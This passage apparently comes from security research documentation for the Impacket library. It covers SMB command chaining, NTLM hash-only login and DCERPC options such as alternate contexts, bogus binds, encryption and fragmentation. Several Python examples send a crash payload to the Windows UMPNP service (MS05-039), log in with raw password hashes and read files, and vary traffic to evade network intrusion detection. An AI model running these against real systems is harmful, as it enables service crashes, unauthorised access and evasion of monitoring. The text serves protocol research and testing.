During our experimentation we thought “What would happen if, massaging the offsets (as we did for the previous two examples), we make a loop in the chain by pointing a command's next command to itself, or to a previous command?” And of course, we tested it. As we said, there is a different list of valid next commands for each ANDX command, from [1] we built `SMBCommands.dot/.png` and found out that `write_andx` can follow `write_andx`.

The results are quite amusing and, at least for us, unpredictable in some way. To kill the suspense, the infinite chain kind of works. Here's the code for `example/loopchain.py`:

```
from impacket import smb
import time

class lotsSMB(smb.SMB):
   def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1):
       pkt = smb.NewSMBPacket()
```

```
        pkt['Flags1'] = 0x18
        pkt['Flags2'] = 0
        pkt['Tid']    = tid

        writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
        pkt.addCommand(writeAndX)

        writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
        writeAndX['Parameters']['Fid'] = fid
        writeAndX['Parameters']['Offset'] = offset
        writeAndX['Parameters']['WriteMode'] = 0
        writeAndX['Parameters']['Remaining'] = len(data)
        writeAndX['Parameters']['DataLength'] = len(data)
        writeAndX['Parameters']['DataOffset'] = len(pkt)
        writeAndX['Data'] = data+('A'*4000)

        saved_offset = len(pkt)

        writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
        pkt.addCommand(writeAndX2)

        writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
        writeAndX2['Parameters']['Fid'] = fid
        writeAndX2['Parameters']['Offset'] = offset
        writeAndX2['Parameters']['WriteMode'] = 0
        writeAndX2['Parameters']['Remaining'] = len(data)
        writeAndX2['Parameters']['DataLength'] = len(data)
        writeAndX2['Parameters']['DataOffset'] = len(pkt)
        writeAndX2['Data'] = '<pata>\n'

        writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
        writeAndX2['Parameters']['AndXOffset']  =  saved_offset

        self.sendSMB(pkt)

        if wait_answer:
                pkt = self.recvSMB()
                if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX):
                        return pkt
        return None

s = lotsSMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','password')
tid = s.tree_connect(r'\\*SMBSERVER\IPC$')
fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0]

s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0)

time.sleep(2)
s.close(tid,fid)
```

For this example we are using the echo server again. We first tried with a normal file, and although apparently, the infinite chain did not return an error it did not really work because every `write_andx` has the offset in the file were to write, effectively overwriting the same bytes.

There are two tricks to this chain. The first and more obvious is to set the `AndXOffset` (and `AndXCommand`) of one `write_andx` to point to itself. For this we first save the offset where the new command is going to be stored in the packet into `saved_offset`,

and then we change the `AndXOffset` of the second `write_andx` command. The second, and not so obvious trick (trial and error is our best friend), was to send lots of bytes in the data portion of the first `write_andx` command. The workings of this are quite strange, but well, I'm not expecting the implementation to be predictable this time.

Authentication extras

Plaintext authentication was already supported by older versions of *Impacket*, on this new version we added support for NTLMv1[12] authentication, including support for using just the hashes which you can retrieve with tools like `samdump[8]` or `pwdump3[8]`. With this feature you don't need to crack them anymore, see [11] for another way to do it.

Don't be confused, this are not the hashes you will usually sniff on the network, those are not password hashes, but responses to a challenge-response authentication mechanism, and those do need to be cracked, as far as we know.

```
from impacket import smb

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('Administrator', '',
       lmhash = 'A0E150D75A07008EFAD3BE35B51104EE',
       nthash = '823093ADFAD2CDA3E1A41FF3EBDF28F7')
tid = s.tree_connect_andx(r"\\*SMBSERVER\C$")
fid = s.open_andx(tid, 'boot.ini', smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
print s.read_andx(tid, fid)
s.close(tid, fid)
```

If you only have one of the two hashes (NTHASH or LMHASH), you can just use it by itself, and the authentication will still be successful. As an example, the next two lines are working replacements for the corresponding line in the previous example:

```
s.login('Administrator', '', lmhash = 'A0E150D75A07008EFAD3BE35B51104EE')
```

```
s.login('Administrator', '', nthash = '823093ADFAD2CDA3E1A41FF3EBDF28F7')
```

We tried successfully both single-hash authentications on Windows 2000 and Windows XP SP2, so we assume it should work on every other version of Windows, at least until Windows Vista is finally released.

Ideas to be tested a little bit more

According to CIFS' documentation [1], a similar fragmentation scheme (as explained for writes) can be implemented using `TransactNamedPipe`, but we have not tested it yet.

What command can be chained to what `ANDX` command (as explained earlier) is still unknown. In CIFS' documentation [1] a list is given for each `ANDX` command described, but, not every `ANDX` command is described there, and we found some differences in our tests. A nice way to do it, is to code a small tool that bruteforces every

`ANDX` command and differentiates from the error message whether the second command was invalid or if there was another type of error.

The meaning of all this

When sending DCERPC requests over SMB you have to use a Named Pipe as transport (we've seen this in previous sections). We've implemented two different `tree_connect` methods, three different ways to open a pipe, four different ways of reading from the pipe and four of writing to it. This gives you at least 2*3*4*4 = a lot of combinations (different network patterns) to choose from. You can add "*fragmentation*", and "*mixed writes fragmentation*", and chain some of the commands, in order or out of order, and the possibilities are even greater. We have not done thorough testing of how this may be used to bypass (or not) network detection, but we understand that the very nature of SMB makes it extremely difficult for a NIDS to mimic how SMB on a real Windows host behaves, opening the door for attacks which could bypass detection or probably attack the very same NIDS, given the required complexity of the parser.

To be done

Some things are still missing in *Impacket*, for example, NTLMv2, some commands were not re implemented yet using *Structure* and this is important, for example, to be able to chain them. And there are lots of other SMB commands which we have not implemented at all.

Using special features of DCERPC

Alternative contexts

In the section about DCERPC we saw that we need to `bind` to a DCERPC interface before using the exported functionality. Every time we do it, we define a new context id that we need to use in subsequent DCERPC messages to identify to what interface we are talking to.

The alter context DCERPC command [`alter_ctx()`] lets you open a new context for a different UUID over the same connection. This is necessary because after you have bound to a specific interface, you can't bind to another one over the same connection using `bind()`. In the following example will first bind to the DCERPC interface for MSDTC as used in exploits for MS06-018, then bind to UMPNP's interface using `alter_ctx()`, and finally bind to the interface used in the exploit for MS03-049, to finally send the data to crash the UMPNP service as we were doing in previous examples.

```
from impacket.dcerpc import transport, dcerpc
from impacket import uuid
from impacket.structure import Structure

class PNP_QueryResConfList(Structure):
    alignment = 4
    structure = (
       ('treeRoot',    'w'),
       ('resourceType','<L=0xffff'),
       ('resourceLen1','<L-resource'),
```

```
       ('resource',    ':'),
       ('resourceLen2','<L-resource'),
       ('unknown_1',   '<L=4'),
       ('unknown_2',   '<L=0'),
       ('unknown_3',   '<L=0'),
    )

transp = transport.SMBTransport('192.168.1.1', 139, 'browser')
transp.connect()
dce = dcerpc.DCERPC_v5(transp)

dce.bind(
       uuid.uuidtup_to_bin(('906B0CE0-C70B-1067-B317-00DD010662DA','1.0')))

dce2 = dce.alter_ctx(
       uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))

dce3 = dce.alter_ctx(
       uuid.uuidtup_to_bin(('6bffd098-a112-3610-9833-46c3f87e345a','1.0')))

query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256

dce2.call(0x36, query)
```

Note how `alter_ctx()` returns a new instance of the DCERPC class, which can be used to access the just bound interface. In this way you can continue using any of the interfaces independently.

We first implemented `alter_ctx()` for the exploit for MS05-010, but then found that it could be used for other exploits too, for example, to hide a little bit what you are doing by binding to an innocent or even inexistent UUID first and then switching to the vulnerable alternative context. For instance, in the following modification to the previous example the first bind returns an error that we just ignore after which we bind to a different UUID:

```
dce.bind(
       uuid.uuidtup_to_bin(('00112233-4321-abcd-0918-b01afeac01a5','1.0')))

dce2 = dce.alter_ctx(
       uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))

dce3 = dce.alter_ctx(
       uuid.uuidtup_to_bin(('6bffd098-a112-3610-9833-46c3f87e345a','1.0')))
```

Multi-bind requests

In a similar way to `alter_ctx()` you can choose to bind to multiple interfaces in the initial `bind()` of the connection. However, the library does not yet have support for choosing every single UUID to use, and instead only gives us the chance to specify a number of “bogus binds”:

```
from impacket.dcerpc import transport, dcerpc
from impacket import uuid
from impacket.structure import Structure
```

```
class PNP_QueryResConfList(Structure):
    alignment = 4
    structure = (
       ('treeRoot',    'w'),
       ('resourceType','<L=0xffff'),
       ('resourceLen1','<L-resource'),
       ('resource',    ':'),
       ('resourceLen2','<L-resource'),
       ('unknown_1',   '<L=4'),
       ('unknown_2',   '<L=0'),
       ('unknown_3',   '<L=0'),
    )

transp = transport.SMBTransport('192.168.1.1', 139, 'browser')
transp.connect()
dce = dcerpc.DCERPC_v5(transp)

dce.bind(
       uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')),
       bogus_binds = 10)

query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256

dce.call(0x36, query)
```

This last example will send a request with 11 interfaces to bind to, from which the first 10 are bogus (hard coded to `41414141-4141-4141-4141-414141414141`). Although it's not extremely complicated to change the library to let the user choose every UUID in the request, it will imply some other (probably bigger) changes to be able to handle and use all the different bound contexts.

In the very same fashion, `alter_ctx()` also accepts an optional `bogus_binds` parameter.

Endianness selection

In the header of every DCERPC request there's a field to specify the byte ordering, the character set and the floating point representation (for more information, take a look at [4]). The default for our library is to use little endian encoding, as is the default for every other implementation we checked.

Although the library is not really ready for letting the user choose the endianness, there's enough to test it and to show how it works. The next code fragment is taken from the DCERPC endpoint dumper example, modified a little bit to force big endian encoding.

```
from impacket.dcerpc import transport, dcerpc, epm
from impacket import uuid

trans = transport.SMBTransport('192.168.1.1', 139, 'epmapper')
# trans.set_credentials('Administrator','password')
print trans.connect()

dce = dcerpc.DCERPC_v5(trans)
```

```
dce.endianness = '>'
dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))

pm = epm.DCERPCEpm(dce)
pm.endianness = '>'

handle = '\x00'*20
while 1:
	dump = pm.portmap_dump(handle)
	if not dump.get_entries_num():
		break
	handle = dump.get_handle()
	entry = dump.get_entry().get_entry()
	print '%s %2.2f %s (%s)' % (
		uuid.bin_to_string(entry.get_uuid()),
		entry.get_version(),
		entry.get_string_binding(),
		entry.get_annotation())
```

We performed several tests, for example, we tried to change the endianness of the requests in the middle of a connection, and we discovered that the workings of the DCERPC unmarshaler regarding endianness are a little bit tricky.

A normal DCERPC session starts with a bind request and continues with a series of additional requests. In our tests, the bind request can be sent with any endianness but the response always come back as little endian. When sending additional requests we found three different results:

1. Sending requests with the same byte ordering as the original bind works as expected
2. Sending requests in the opposite byte ordering as the original bind does not work
3. Sending request headers in any endianness works fine as long as the request stub (data) is sent in the same endianness as the original bind.

DCERPC authentication

DCERPC has support for authentication, encryption and integrity checking, both using NTLMv1 and NTLMv2. The full set of features has 6 different authentication levels: NONE, CONNECT, CALL, PACKET, PACKET INTEGRITY and PACKET PRIVACY [9]. For this version we've implemented only PACKET PRIVACY (also called PACKET SEAL, or PACKET ENCRYPTION), PACKET INTEGRITY (also called PACKET SIGN), CONNECT and NONE levels. We tried for some time to implement CALL and PACKET flavors, but although we are pretty sure that everything is already there, we couldn't make them work correctly. So let us know if you are luckier than us!

The following example is the first *port mapper* example we already used, this time with additional authentication settings.

```
from impacket.dcerpc import transport, dcerpc, epm
from impacket import ntlm
from impacket import uuid
```

```
trans = transport.SMBTransport('192.168.1.1', 139, 'epmapper')
# trans.set_credentials('','')
print trans.connect()

dce = dcerpc.DCERPC_v5(trans)
# dce.set_credentials('user','password')
dce.set_auth_level(ntlm.NTLM_AUTH_CONNECT)
dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))

pm = epm.DCERPCEpm(dce)

handle = '\x00'*20
while 1:
       dump = pm.portmap_dump(handle)
       if not dump.get_entries_num():
              break
       handle = dump.get_handle()
       entry = dump.get_entry().get_entry()
       print '%s %2.2f %s (%s)' % (
              uuid.bin_to_string(entry.get_uuid()),
              entry.get_version(),
              entry.get_string_binding(),
              entry.get_annotation())
```

To test other modes, change `NTLM_AUTH_PKT_PRIVACY` for other constants. The full set of constants can be found in `ntlm.py`.

Impacket supports NULL credentials for DCERPC authentication, and although packet encryption and packet signing is possible and enabled in this case, it will not result in strong crypto.

If you don't specify the credentials with `set_credentials()` they are inherited from the underling transport, but you could choose to use different credentials for SMB and DCERPC. For example, you could open the named pipe using anonymous credentials, and then chose a different set of credentials to bind to the DCERPC interface. We think this may have some security implications on Windows XP with Simple File Sharing enabled, but we have not found any specific example to show it. Use the commented code in the example as a guide to try it.

DCERPC authentication and encryption thing is fairly new to us, and we found, for example, that for some exploits the DCERPC endpoint lets you bind using authentication (needed for encryption) and for some others it doesn’t. Or that you can use PACKET PRIVACY, but not CONNECT level authentication. For some of the exploits you can hide your payload by encrypting it, and no generic code detector will find it. For some you can't, and we don't know why yet.

Initially we thought that enabling encryption would encrypt the complete DCERPC packet, but we sadly found that only the payload (stub) part of the DCERPC Requests and Replies can be encrypted, leaving the headers and all other DCERPC packets (more importantly BIND and ALTER_CTX) in plaintext.

DCERPC fragmentation

The DCERPC protocol supports fragmentation. We've implemented this originally only for DCERPC_v4, used over UDP, as the payload to exploit MS03-026 was bigger than the standard MTU. We've now implemented it also for DCERPC_v5, which can be used over TCP, HTTP and SMB. The interface to set the maximum fragment size is the same for both versions of DCERPC. The next example adds fragmentation to the MS05-039 example we've been using:

```
from impacket.dcerpc import transport, dcerpc
from impacket import uuid, ntlm

from impacket.structure import Structure

class PNP_QueryResConfList(Structure):
    alignment = 4
    structure = (
       ('treeRoot',    'w'),
       ('resourceType','<L=0xffff'),
       ('resourceLen1','<L-resource'),
       ('resource',    ':'),
       ('resourceLen2','<L-resource'),
       ('unknown_1',   '<L=4'),
       ('unknown_2',   '<L=0'),
       ('unknown_3',   '<L=0'),
    )

trans = transport.SMBTransport('192.168.1.1',139,'browser')
trans.connect()
dce = trans.DCERPC_class(trans)

dce.set_max_fragment_size(1)

dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))

query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256

dce.call(0x36, query)
```

At first we thought that we were going to be able to fragment any DCERPC packet, including `bind` and `alter_ctx` requests. However, we couldn't make anything work if the header of the request is not included completely in the first packet, even when the specification [2] says it should be possible, particularly when using DCERPC authentication. As with encryption, given that `bind` and `alter_ctx` requests are pure header, there is no way to fragment them, even when they could be made really big by doing multi-bind requests, as explained before.

When fragmentation is enabled and SMB is used as transport, `write_andx()` is automatically chosen to send each of the DCERPC fragments instead of `TransactNamedPipe()`, otherwise the transaction would block waiting for data sent from the SMB server after sending each fragment.

Note that you can control transport "*fragmentation*" and DCERPC fragmentation independently to get even more variability and to generate more traffic.

DCERPC v4 idempotent flags

As explained in [10]: "[DCE]RPC has an interesting feature that allows the client to avoid the two-way handshake customary to datagram protocols. This can be enabled by turning on the idempotent flag in [DCE]RPCv4 request packets. This not only reduces the traffic needed to perform the attack, but it also makes it possible to spoof the request's source. This handshake involves a 20-byte secret number, apparently not easily guessable, that can be avoided by setting the idempotent flag".

We now changed the library a little bit to let you call `set_idempotent()` for DCERPC_v4 and DCERPC_v5. Although the latter will not do anything, it lets you write cleaner code.

You can find a really complete example of how to use this, and most of the other features described in this document in `examples/ms05-039-crash.py`.

To be done

Impacket's DCERPC implementation is not complete of course, but is quite useful already (at least for us, we hope it is useful for you too). Among the things that would be nice to have we list NTLMv2 authentication, integrity and privacy (encryption), implement hash only authentication, which should be really straight forward from what we already have and from SMB's implementation. And of course, we'd like to finish re implementing all the commands using the new *Structure* library. Please, feel free to contribute.

References

[1] – Implementing CIFS – Christopher R. Hertel
http://ubiqx.org/cifs
[2] – DCE 1.1: Remote Procedure Call – The Open Group –
http://www.opengroup.org/bookstore/catalog/c706.htm
[3] – DCERPC String Binding
http://msdn.microsoft.com/library/en-us/rpc/rpc/string_binding.asp
[4] - DCE 1.1: Remote Procedure Call - Chapter 14, Transfer Syntax NDR
http://www.opengroup.org/bookstore/catalog/c706.htm
[5] – DCERPC NDR Format Strings
http://msdn.microsoft.com/library/en-us/rpc/rpc/rpc_ndr_format_strings.asp
[6] – muddle – Matthew Chapman
http://www.cse.unsw.edu.au/~matthewc/muddle/
[7] - mIDA – Tenable Network Security
http://cgi.tenablesecurity.com/tenable/mida.php
[8] – pwdump3 and samdump
http://www.packetstormsecurity.org/Crackers/NT/
[9] – DCOM Architecture
http://msdn.microsoft.com/library/en-us/dndcom/html/msdn_dcomarch.asp

[10] – DCE RPC Vulnerabilities New Attack Vectors Analysis – J. Rizzo, J. Kohen
http://www.corest.com/common/showdoc.php?idx=393
[11] – Modifying Windows NT Logon Credential - Hernan Ochoa
http://www.corest.com/common/showdoc.php?idx=87
[12] – The NTLM Authentication Protocol - jCIFS project
http://davenport.sf.net/ntlm.html